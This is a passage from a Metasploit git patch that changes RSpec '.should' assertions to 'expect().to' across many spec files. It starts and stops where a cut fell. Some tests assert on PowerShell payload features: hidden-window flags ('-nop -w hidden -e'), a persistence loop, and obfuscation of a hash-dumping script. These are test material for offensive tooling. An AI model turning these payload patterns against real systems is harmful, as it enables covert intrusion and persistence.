VirusTotalUtility do 'delay' => 60 } - VirusTotalUtility::OptsConsole.stub(:parse).with(anything).and_return(options) + expect(VirusTotalUtility::OptsConsole).to receive(:parse).with(anything).and_return(options) tool_config = double("tool_config") - VirusTotalUtility::ToolConfig.stub(:new).and_return(tool_config) - tool_config.stub(:has_privacy_waiver?).and_return(true) - tool_config.stub(:load_api_key).and_return(api_key) - tool_config.stub(:save_privacy_waiver) - tool_config.stub(:save_api_key).with(anything) + expect(VirusTotalUtility::ToolConfig).to receive(:new).and_return(tool_config) + expect(tool_config).to receive(:has_privacy_waiver?).and_return(true) + expect(tool_config).to receive(:load_api_key).and_return(api_key) + expect(tool_config).to receive(:save_privacy_waiver) + expect(tool_config).to receive(:save_api_key).with(anything) d = nil From 4870909afc5c7c6b9262b45442c2cbbbd822fd19 Mon Sep 17 00:00:00 2001 From: Luke Imhoff <luke_imhoff@rapid7.com> Date: Tue, 20 Oct 2015 14:37:18 -0500 Subject: [PATCH 1495/2172] .should -> expect().to MSP-13484 --- .../metasploit/framework/credential_spec.rb | 2 +- spec/lib/msf/core/auxiliary/drdos_spec.rb | 8 +- .../lib/msf/core/exe/segment_injector_spec.rb | 2 +- spec/lib/msf/core/exploit/capture_spec.rb | 8 +- spec/lib/msf/core/exploit/http/client_spec.rb | 6 +- spec/lib/msf/core/exploit/powershell_spec.rb | 100 +++++----- .../remote/browser_exploit_server_spec.rb | 2 +- .../remote/firefox_addon_generator_spec.rb | 2 +- spec/lib/msf/core/modules/loader/base_spec.rb | 170 ++++++++-------- .../msf/core/modules/loader/directory_spec.rb | 14 +- spec/lib/msf/core/modules/namespace_spec.rb | 30 +-- .../version_compatibility_error_spec.rb | 8 +- spec/lib/msf/core/post/windows/mssql_spec.rb | 104 +++++----- spec/lib/msf/core/post/windows/runas_spec.rb | 36 ++-- spec/lib/msf/db_manager/export_spec.rb | 4 +- .../console/command_dispatcher/core_spec.rb | 16 +- .../ui/console/command_dispatcher/db_spec.rb | 34 ++-- spec/lib/rex/exploitation/js/detect_spec.rb | 6 +- spec/lib/rex/exploitation/js/memory_spec.rb | 6 +- spec/lib/rex/exploitation/js/network_spec.rb | 4 +- spec/lib/rex/exploitation/js/utils_spec.rb | 2 +- spec/lib/rex/exploitation/ropdb_spec.rb | 26 +-- spec/lib/rex/file_utils_spec.rb | 36 ++-- .../parser/group_policy_preferences_spec.rb | 16 +- spec/lib/rex/parser/nmap_xml_spec.rb | 12 +- spec/lib/rex/parser/unattend_spec.rb | 10 +- .../post/meterpreter/packet_parser_spec.rb | 2 +- spec/lib/rex/post/meterpreter/packet_spec.rb | 72 +++---- spec/lib/rex/powershell/command_spec.rb | 100 +++++----- spec/lib/rex/powershell/function_spec.rb | 28 +-- spec/lib/rex/powershell/obfu_spec.rb | 72 +++---- spec/lib/rex/powershell/output_spec.rb | 38 ++-- spec/lib/rex/powershell/param_spec.rb | 8 +- spec/lib/rex/powershell/parser_spec.rb | 58 +++--- spec/lib/rex/powershell/psh_methods_spec.rb | 26 +-- spec/lib/rex/powershell/script_spec.rb | 28 +-- spec/lib/rex/powershell_spec.rb | 8 +- .../lib/rex/proto/http/client_request_spec.rb | 50 ++--- spec/lib/rex/proto/http/client_spec.rb | 59 +++--- spec/lib/rex/proto/http/response_spec.rb | 22 +-- spec/lib/rex/proto/pjl/client_spec.rb | 22 +-- spec/lib/rex/proto/sip/response_spec.rb | 22 +-- .../rex/random_identifier_generator_spec.rb | 16 +- spec/lib/rex/socket/range_walker_spec.rb | 43 ++--- spec/lib/rex/socket_spec.rb | 16 +- spec/lib/rex/sslscan/result_spec.rb | 40 ++-- spec/lib/rex/sslscan/scanner_spec.rb | 4 +- spec/lib/rex/text_spec.rb | 66 +++---- spec/msfupdate_spec.rb | 4 +- spec/support/shared/examples/an_option.rb | 4 +- ..._module_detail_info_module_detail_child.rb | 2 +- .../import/metasploit_framework/xml.rb | 12 +- .../examples/msf/db_manager/migration.rb | 4 +- .../examples/msf/db_manager/module_cache.rb | 182 +++++++++++------- ..._name_or_mdm_module_target_name_keyword.rb | 24 ++- .../mdm_module_ref_name_keyword.rb | 12 +- .../shared/examples/msf/db_manager/session.rb | 24 +-- .../update_all_module_details_refresh.rb | 2 +- .../shared/examples/msf/module/search.rb | 8 +- .../examples/msf/module_manager/cache.rb | 10 +- .../examples/msf/module_manager/loading.rb | 14 +- .../msf/module_manager/module_paths.rb | 4 +- .../msf/modules/error_subclass_initialize.rb | 2 +- .../modules/version_compatibility_error.rb | 8 +- spec/support/shared/examples/xor_encoder.rb | 12 +- spec/tools/cpassword_decrypt_spec.rb | 4 +- spec/tools/virustotal_spec.rb | 28 +-- 67 files changed, 935 insertions(+), 889 deletions(-) diff --git a/spec/lib/metasploit/framework/credential_spec.rb b/spec/lib/metasploit/framework/credential_spec.rb index a7b929c032..53b4e1807a 100644 --- a/spec/lib/metasploit/framework/credential_spec.rb +++ b/spec/lib/metasploit/framework/credential_spec.rb @@ -88,7 +88,7 @@ RSpec.describe Metasploit::Framework::Credential do end it { should respond_to :to_credential } it "should return self" do - cred_detail.to_credential.should eq(cred_detail) + expect(cred_detail.to_credential).to eq(cred_detail) end end diff --git a/spec/lib/msf/core/auxiliary/drdos_spec.rb b/spec/lib/msf/core/auxiliary/drdos_spec.rb index 78720a628e..e91d084990 100644 --- a/spec/lib/msf/core/auxiliary/drdos_spec.rb +++ b/spec/lib/msf/core/auxiliary/drdos_spec.rb @@ -14,25 +14,25 @@ RSpec.describe Msf::Auxiliary::DRDoS do it 'should detect drdos when there is packet amplification only' do map = { 'foo' => [ 'a', 'b' ] } result, _ = subject.prove_amplification(map) - result.should be true + expect(result).to be true end it 'should detect drdos when there is bandwidth amplification only' do map = { 'foo' => [ 'foofoo' ] } result, _ = subject.prove_amplification(map) - result.should be true + expect(result).to be true end it 'should detect drdos when there is packet and bandwidth amplification' do map = { 'foo' => [ 'foofoo', 'a' ] } result, _ = subject.prove_amplification(map) - result.should be true + expect(result).to be true end it 'should not detect drdos when there is no packet and no bandwidth amplification' do map = { 'foo' => [ 'foo' ] } result, _ = subject.prove_amplification(map) - result.should be false + expect(result).to be false end end end diff --git a/spec/lib/msf/core/exe/segment_injector_spec.rb b/spec/lib/msf/core/exe/segment_injector_spec.rb index 50d431c3c8..a865c50f45 100644 --- a/spec/lib/msf/core/exe/segment_injector_spec.rb +++ b/spec/lib/msf/core/exe/segment_injector_spec.rb @@ -44,7 +44,7 @@ RSpec.describe Msf::Exe::SegmentInjector do end it 'should set a buffer register for the payload' do - injector.create_thread_stub.should include('lea edx, [thread_hook]') + expect(injector.create_thread_stub).to include('lea edx, [thread_hook]') end end diff --git a/spec/lib/msf/core/exploit/capture_spec.rb b/spec/lib/msf/core/exploit/capture_spec.rb index 899bbf3d4c..4c13ddae2f 100644 --- a/spec/lib/msf/core/exploit/capture_spec.rb +++ b/spec/lib/msf/core/exploit/capture_spec.rb @@ -14,7 +14,7 @@ RSpec.describe Msf::Exploit::Capture do end it 'should be a kind of Msf::Exploit::Capture' do - subject.should be_a_kind_of Msf::Exploit::Capture + expect(subject).to be_a_kind_of Msf::Exploit::Capture end context '#capture_sendto' do @@ -33,8 +33,8 @@ RSpec.describe Msf::Exploit::Capture do it 'should return false if the destination MAC cannot be determined and broadcast is not desired' do allow(subject).to receive(:lookup_eth).and_return(nil) - subject.capture_sendto(payload, '127.0.0.1').should be_falsey - subject.capture_sendto(payload, '127.0.0.1', false).should be_falsey + expect(subject.capture_sendto(payload, '127.0.0.1')).to be_falsey + expect(subject.capture_sendto(payload, '127.0.0.1', false)).to be_falsey end it 'should return the correct number of bytes if the destination MAC cannot be determined and broadcast is desired' do @@ -62,7 +62,7 @@ RSpec.describe Msf::Exploit::Capture do end it 'should respond to open_pcap' do - subject.should respond_to :open_pcap + expect(subject).to respond_to :open_pcap end it 'should confirm that pcaprub is available', :skip => "Need to test this without stubbing check_pcaprub_loaded" do diff --git a/spec/lib/msf/core/exploit/http/client_spec.rb b/spec/lib/msf/core/exploit/http/client_spec.rb index 1701e33110..dc7705294d 100644 --- a/spec/lib/msf/core/exploit/http/client_spec.rb +++ b/spec/lib/msf/core/exploit/http/client_spec.rb @@ -38,7 +38,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do subject end it "should return the rhost as the vhost" do - cli_rhost.datastore['VHOST'].should be_nil + expect(cli_rhost.datastore['VHOST']).to be_nil expect(cli_rhost.vhost).to eq rhost end end @@ -209,7 +209,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it "should be empty" do - unnormalized_uri.should be_empty + expect(unnormalized_uri).to be_empty end it "should return '/'" do @@ -223,7 +223,7 @@ RSpec.describe Msf::Exploit::Remote::HttpClient do end it 'should be nil' do - unnormalized_uri.should be_nil + expect(unnormalized_uri).to be_nil end it "should return '/" do diff --git a/spec/lib/msf/core/exploit/powershell_spec.rb b/spec/lib/msf/core/exploit/powershell_spec.rb index cccbad02e6..331494b7a6 100644 --- a/spec/lib/msf/core/exploit/powershell_spec.rb +++ b/spec/lib/msf/core/exploit/powershell_spec.rb @@ -32,8 +32,8 @@ RSpec.describe Msf::Exploit::Powershell do describe "::encode_script" do it 'should read and encode a sample script file' do script = subject.encode_script(example_script) - script.should be - script.length.should be > 0 + expect(script).to be + expect(script.length).to be > 0 end end @@ -42,14 +42,14 @@ RSpec.describe Msf::Exploit::Powershell do it 'should create a compressed script' do script = File.read(example_script) compressed = subject.compress_script(script) - compressed.length.should be < script.length - compressed.include?('IO.Compression').should be_truthy + expect(compressed.length).to be < script.length + expect(compressed.include?('IO.Compression')).to be_truthy end it 'should create a compressed script with eof' do script = File.read(example_script) compressed = subject.compress_script(script, 'end_of_file') - compressed.include?('end_of_file').should be_truthy + expect(compressed.include?('end_of_file')).to be_truthy end end @@ -61,7 +61,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'should strip comments' do script = File.read(example_script) compressed = subject.compress_script(script) - compressed.length.should be < script.length + expect(compressed.length).to be < script.length end end context 'when strip_comment is false' do @@ -72,7 +72,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'shouldnt strip comments' do script = File.read(example_script) compressed = subject.compress_script(script) - compressed.length.should be < script.length + expect(compressed.length).to be < script.length end end @@ -85,7 +85,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'should strip whitespace' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).length.should be < script.length + expect(decompress(compressed).length).to be < script.length end end @@ -110,7 +110,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'should substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('$hashes').should be_falsey + expect(decompress(compressed).include?('$hashes')).to be_falsey end end @@ -122,7 +122,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('$hashes').should be_truthy + expect(decompress(compressed).include?('$hashes')).to be_truthy end end @@ -134,7 +134,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'should substitute functions' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('DumpHashes').should be_falsey + expect(decompress(compressed).include?('DumpHashes')).to be_falsey end end @@ -146,7 +146,7 @@ RSpec.describe Msf::Exploit::Powershell do it 'shouldnt substitute variables' do script = File.read(example_script) compressed = subject.compress_script(script) - decompress(compressed).include?('DumpHashes').should be_truthy + expect(decompress(compressed).include?('DumpHashes')).to be_truthy end end end @@ -159,28 +159,28 @@ RSpec.describe Msf::Exploit::Powershell do context 'when x86 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('syswow64').should be_truthy + expect(code.include?('syswow64')).to be_truthy end end context 'when x64 payload' do it 'should generate code' do code = subject.run_hidden_psh(payload, 'x86_64', encoded) - code.include?('sysnative').should be_truthy + expect(code.include?('sysnative')).to be_truthy end end context 'when encoded' do it 'should generate a code including an encoded command' do code = subject.run_hidden_psh(payload, arch, true) - code.include?('-nop -w hidden -e ').should be_truthy + expect(code.include?('-nop -w hidden -e ')).to be_truthy end end context 'when command' do it 'should generate code including a -c command' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('-nop -w hidden -c ').should be_truthy + expect(code.include?('-nop -w hidden -c ')).to be_truthy end end @@ -191,7 +191,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should generate a code including unshorted args' do code = subject.run_hidden_psh(payload, arch, encoded) - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command ')).to be_truthy end end end @@ -206,7 +206,7 @@ RSpec.describe Msf::Exploit::Powershell do except = true end - except.should be_truthy + expect(except).to be_truthy end end @@ -217,7 +217,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should add a persistance loop' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('while(1){Start-Sleep -s ').should be_truthy + expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_truthy end end @@ -228,7 +228,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'shouldnt add a persistance loop' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('while(1){Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('while(1){Start-Sleep -s ')).to be_falsey end end @@ -239,7 +239,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should prepend sleep' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_truthy + expect(decompress(code).include?('Start-Sleep -s ')).to be_truthy end end @@ -250,7 +250,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey end end @@ -261,7 +261,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'shouldnt prepend sleep' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('Start-Sleep -s ').should be_falsey + expect(decompress(code).include?('Start-Sleep -s ')).to be_falsey end end @@ -272,15 +272,15 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('-namespace Win32Functions').should be_truthy + expect(decompress(code).include?('-namespace Win32Functions')).to be_truthy end it 'shouldnt shorten args' do code = subject.cmd_psh_payload(payload, arch) - code.include?('-NoProfile -WindowStyle hidden -Command').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -Command')).to be_truthy end it 'should include -NoExit' do code = subject.cmd_psh_payload(payload, arch) - code.include?('-NoProfile -WindowStyle hidden -NoExit -Command').should be_truthy + expect(code.include?('-NoProfile -WindowStyle hidden -NoExit -Command')).to be_truthy end end @@ -291,7 +291,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('System.Runtime.InteropServices;').should be_truthy + expect(decompress(code).include?('System.Runtime.InteropServices;')).to be_truthy end end @@ -302,7 +302,7 @@ RSpec.describe Msf::Exploit::Powershell do end it 'should generate a command line' do code = subject.cmd_psh_payload(payload, arch) - decompress(code).include?('GlobalAssemblyCache').should be_truthy + expect(decompress(code).include?('GlobalAssemblyCache')).to be_truthy end end @@ -318,7 +318,7 @@ RSpec.describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end @@ -333,7 +333,7 @@ RSpec.describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end after do subject.datastore['Powershell::method'] = 'reflection' @@ -344,7 +344,7 @@ RSpec.describe Msf::Exploit::Powershell do context 'when encode_inner_payload' do it 'should contain an inner payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_inner_payload => true}) - code.include?(' -e ').should be_truthy + expect(code.include?(' -e ')).to be_truthy end context 'when no_equals is true' do @@ -355,7 +355,7 @@ RSpec.describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end end @@ -364,16 +364,16 @@ RSpec.describe Msf::Exploit::Powershell do context 'when no_equals is false' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => false}) - code.include?(' -e ').should be_truthy - code.include?(' -c ').should be_falsey + expect(code.include?(' -e ')).to be_truthy + expect(code.include?(' -c ')).to be_falsey end end context 'when no_equals is true' do it 'should contain a final payload with -e' do code = subject.cmd_psh_payload(payload, arch, {:encode_final_payload => true, :no_equals => true}) - code.include?(' -e ').should be_truthy - code.include?(' -c ').should be_falsey - code.include?('=').should be_falsey + expect(code.include?(' -e ')).to be_truthy + expect(code.include?(' -c ')).to be_falsey + expect(code.include?('=')).to be_falsey end end context 'when encode_inner_payload is true' do @@ -384,7 +384,7 @@ RSpec.describe Msf::Exploit::Powershell do rescue RuntimeError except = true end - except.should be_truthy + expect(except).to be_truthy end end end @@ -392,14 +392,14 @@ RSpec.describe Msf::Exploit::Powershell do context 'when remove_comspec' do it 'shouldnt contain %COMSPEC%' do code = subject.cmd_psh_payload(payload, arch, {:remove_comspec => true}) - code.include?('%COMSPEC%').should be_falsey + expect(code.include?('%COMSPEC%')).to be_falsey end end context 'when use single quotes' do it 'should wrap in single quotes' do code = subject.cmd_psh_payload(payload, arch, {:use_single_quotes => true}) - code.include?(' -c \'').should be_truthy + expect(code.include?(' -c \'')).to be_truthy end end end @@ -408,33 +408,33 @@ RSpec.describe Msf::Exploit::Powershell do it 'should contain no full stop when :no_full_stop' do opts = {:no_full_stop => true} command = subject.generate_psh_command_line(opts) - command.include?("powershell ").should be_truthy + expect(command.include?("powershell ")).to be_truthy end it 'should contain full stop unless :no_full_stop' do opts = {} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_truthy + expect(command.include?("powershell.exe ")).to be_truthy opts = {:no_full_stop => false} command = subject.generate_psh_command_line(opts) - command.include?("powershell.exe ").should be_truthy + expect(command.include?("powershell.exe ")).to be_truthy end it 'should ensure the path should always ends with \\' do opts = {:path => "test"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_truthy + expect(command.include?("test\\powershell.exe ")).to be_truthy opts = {:path => "test\\"} command = subject.generate_psh_command_line(opts) - command.include?("test\\powershell.exe ").should be_truthy + expect(command.include?("test\\powershell.exe ")).to be_truthy end end describe "::generate_psh_args" do it 'should return empty string for nil opts' do - subject.generate_psh_args(nil).should eql "" + expect(subject.generate_psh_args(nil)).to eql "" end command_args = [[:encodedcommand, "parp"], @@ -468,16 +468,16 @@ RSpec.describe Msf::Exploit::Powershell do short_args.should_not be_nil long_args.should_not be_nil - short_args.count('-').should eql opt_length - long_args.count('-').should eql opt_length + expect(short_args.count('-')).to eql opt_length + expect(long_args.count('-')).to eql opt_length short_args[0].should_not eql " " long_args[0].should_not eql " " short_args[-1].should_not eql " " long_args[-1].should_not eql " " if opts[:command] - long_args[-10..-1].should eql "-Command Z" - short_args[-4..-1].should eql "-c Z" + expect(long_args[-10..-1]).to eql "-Command Z" + expect(short_args[-4..-1]).to eql "-c Z" end end end diff --git a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb index 9c941d6fe8..88f414a585 100644 --- a/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb +++ b/spec/lib/msf/core/exploit/remote/browser_exploit_server_spec.rb @@ -157,7 +157,7 @@ RSpec.describe Msf::Exploit::Remote::BrowserExploitServer do it "returns a target" do expected_object = double('Msf::Module::Target') server.instance_variable_set(:@target, expected_object) - server.get_target.should eq(expected_object) + expect(server.get_target).to eq(expected_object) end end diff --git a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb index ed2c53a18d..86e54ecbe9 100644 --- a/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb +++ b/spec/lib/msf/core/exploit/remote/firefox_addon_generator_spec.rb @@ -26,7 +26,7 @@ RSpec.describe Msf::Exploit::Remote::FirefoxAddonGenerator do it { should respond_to :generate_addon_xpi } it 'should return an instance of Rex::Zip::Archive' do - xpi.should be_kind_of Rex::Zip::Archive + expect(xpi).to be_kind_of Rex::Zip::Archive end end end diff --git a/spec/lib/msf/core/modules/loader/base_spec.rb b/spec/lib/msf/core/modules/loader/base_spec.rb index a97c508f68..e6f35d18f4 100644 --- a/spec/lib/msf/core/modules/loader/base_spec.rb +++ b/spec/lib/msf/core/modules/loader/base_spec.rb @@ -52,7 +52,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should be defined' do - described_class.const_defined?(:DIRECTORY_BY_TYPE).should be_truthy + expect(described_class.const_defined?(:DIRECTORY_BY_TYPE)).to be_truthy end it 'should map Msf::MODULE_AUX to auxiliary' do @@ -150,7 +150,7 @@ RSpec.describe Msf::Modules::Loader::Base do end error.should_not be_nil - error.backtrace[0].should include(module_path) + expect(error.backtrace[0]).to include(module_path) end end end @@ -181,24 +181,24 @@ RSpec.describe Msf::Modules::Loader::Base do context 'NAMESPACE_MODULE_NAMES' do it 'should be under Msf so that Msf constants resolve from lexical scope' do - described_class::NAMESPACE_MODULE_NAMES.should include('Msf') + expect(described_class::NAMESPACE_MODULE_NAMES).to include('Msf') end it "should not be directly under Msf so that modules don't collide with core namespaces" do direct_index = described_class::NAMESPACE_MODULE_NAMES.index('Msf') last_index = described_class::NAMESPACE_MODULE_NAMES.length - 1 - last_index.should > direct_index + expect(last_index).to > direct_index end end context 'UNIT_TEST_REGEX' do it 'should match test suite files' do - described_class::UNIT_TEST_REGEX.should match('rb.ts.rb') + expect(described_class::UNIT_TEST_REGEX).to match('rb.ts.rb') end it 'should match unit test files' do - described_class::UNIT_TEST_REGEX.should match('rb.ut.rb') + expect(described_class::UNIT_TEST_REGEX).to match('rb.ut.rb') end end end @@ -270,7 +270,7 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false if :force is false' do - subject.load_module(parent_path, type, module_reference_name, :force => false).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name, :force => false)).to be_falsey end it 'should not call #read_module_content' do @@ -339,7 +339,7 @@ RSpec.describe Msf::Modules::Loader::Base do allow(subject).to receive(:read_module_content).and_receive(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy expect(namespace_module.parent_path).to eq parent_path end @@ -349,7 +349,7 @@ RSpec.describe Msf::Modules::Loader::Base do expect(subject).to receive(:read_module_content).with(parent_path, type, module_reference_name).and_return(module_content) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end it 'should call namespace_module.module_eval_with_lexical_scope with the module_path' do @@ -358,7 +358,7 @@ RSpec.describe Msf::Modules::Loader::Base do # if the module eval error includes the module_path then the module_path was passed along correctly expect(subject).to receive(:elog).with(/#{Regexp.escape(module_path)}/) - subject.load_module(parent_path, type, module_reference_name, :reload => true).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name, :reload => true)).to be_falsey end context 'with empty module content' do @@ -367,12 +367,12 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should not attempt to make a new namespace_module' do subject.should_not_receive(:namespace_module_transaction) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end @@ -431,7 +431,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should record the load error using the original error' do expect(subject).to receive(:load_error).with(module_path, error) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end @@ -462,14 +462,14 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should record the load error using the Msf::Modules::VersionCompatibilityError' do expect(subject).to receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end it 'should return false' do expect(@namespace_module).to receive(:version_compatible!).with(module_path, module_reference_name) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end end end @@ -525,11 +525,11 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should record the load error' do expect(subject).to receive(:load_error).with(module_path, version_compatibility_error) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should restore the old namespace module' do @@ -563,16 +563,16 @@ RSpec.describe Msf::Modules::Loader::Base do module_path, kind_of(Msf::Modules::MetasploitClassCompatibilityError) ) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy expect(Msf::Modules.const_get(relative_name)).to eq @original_namespace_module end end @@ -588,7 +588,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should check if it is usable' do expect(subject).to receive(:usable?).with(metasploit_class).and_return(true) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end context 'without usable metasploit_class' do @@ -598,16 +598,16 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should log information' do expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_1) - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should return false' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey end it 'should restore the old namespace module' do - subject.load_module(parent_path, type, module_reference_name).should be_falsey - Msf::Modules.const_defined?(relative_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_falsey + expect(Msf::Modules.const_defined?(relative_name)).to be_truthy expect(Msf::Modules.const_get(relative_name)).to eq @original_namespace_module end end @@ -620,7 +620,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should log load information' do expect(subject).to receive(:ilog).with(/#{module_reference_name}/, 'core', LEV_2) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end it 'should delete any pre-existing load errors from module_manager.module_load_error_by_path' do @@ -628,30 +628,32 @@ RSpec.describe Msf::Modules::Loader::Base do module_manager.module_load_error_by_path[module_path] = original_load_error expect(module_manager.module_load_error_by_path[module_path]).to eq original_load_error - subject.load_module(parent_path, type, module_reference_name).should be_truthy - module_manager.module_load_error_by_path[module_path].should be_nil + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy + expect(module_manager.module_load_error_by_path[module_path]).to be_nil end it 'should return true' do - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end it 'should call module_manager.on_module_load' do expect(module_manager).to receive(:on_module_load) - subject.load_module(parent_path, type, module_reference_name).should be_truthy + expect(subject.load_module(parent_path, type, module_reference_name)).to be_truthy end context 'with :recalculate_by_type' do it 'should set the type to be recalculated' do recalculate_by_type = {} - subject.load_module( + expect( + subject.load_module( parent_path, type, module_reference_name, :recalculate_by_type => recalculate_by_type - ).should be_truthy - recalculate_by_type[type].should be_truthy + ) + ).to eq true + expect(recalculate_by_type[type]).to be_truthy end end @@ -659,13 +661,15 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should set the count to 1 if it does not exist' do count_by_type = {} - count_by_type.has_key?(type).should be_falsey - subject.load_module( + expect(count_by_type.has_key?(type)).to be_falsey + expect( + subject.load_module( parent_path, type, module_reference_name, :count_by_type => count_by_type - ).should be_truthy + ) + ).to eq true expect(count_by_type[type]).to eq 1 end @@ -675,12 +679,14 @@ RSpec.describe Msf::Modules::Loader::Base do type => original_count } - subject.load_module( + expect( + subject.load_module( parent_path, type, module_reference_name, :count_by_type => count_by_type - ).should be_truthy + ) + ).to eq true incremented_count = original_count + 1 expect(count_by_type[type]).to eq incremented_count @@ -811,8 +817,8 @@ RSpec.describe Msf::Modules::Loader::Base do end it 'should return nil if the module is not defined' do - Msf::Modules.const_defined?(relative_name).should be_falsey - subject.send(:current_module, module_names).should be_nil + expect(Msf::Modules.const_defined?(relative_name)).to be_falsey + expect(subject.send(:current_module, module_names)).to be_nil end it 'should return the module if it is defined' do @@ -847,7 +853,7 @@ RSpec.describe Msf::Modules::Loader::Base do it 'should return false if path is hidden' do hidden_path = '.hidden/path/file.rb' - subject.send(:module_path?, hidden_path).should be_falsey + expect(subject.send(:module_path?, hidden_path)).to be_falsey end it 'should return false if the file extension is not MODULE_EXTENSION' do @@ -855,25 +861,25 @@ RSpec.describe Msf::Modules::Loader::Base do path = "path/with/wrong/extension#{non_module_extension}" expect(non_module_extension).not_to eq described_class::MODULE_EXTENSION - subject.send(:module_path?, path).should be_falsey + expect(subject.send(:module_path?, path)).to be_falsey end it 'should return false if the file is a unit test' do unit_test_extension = '.rb.ut.rb' path = 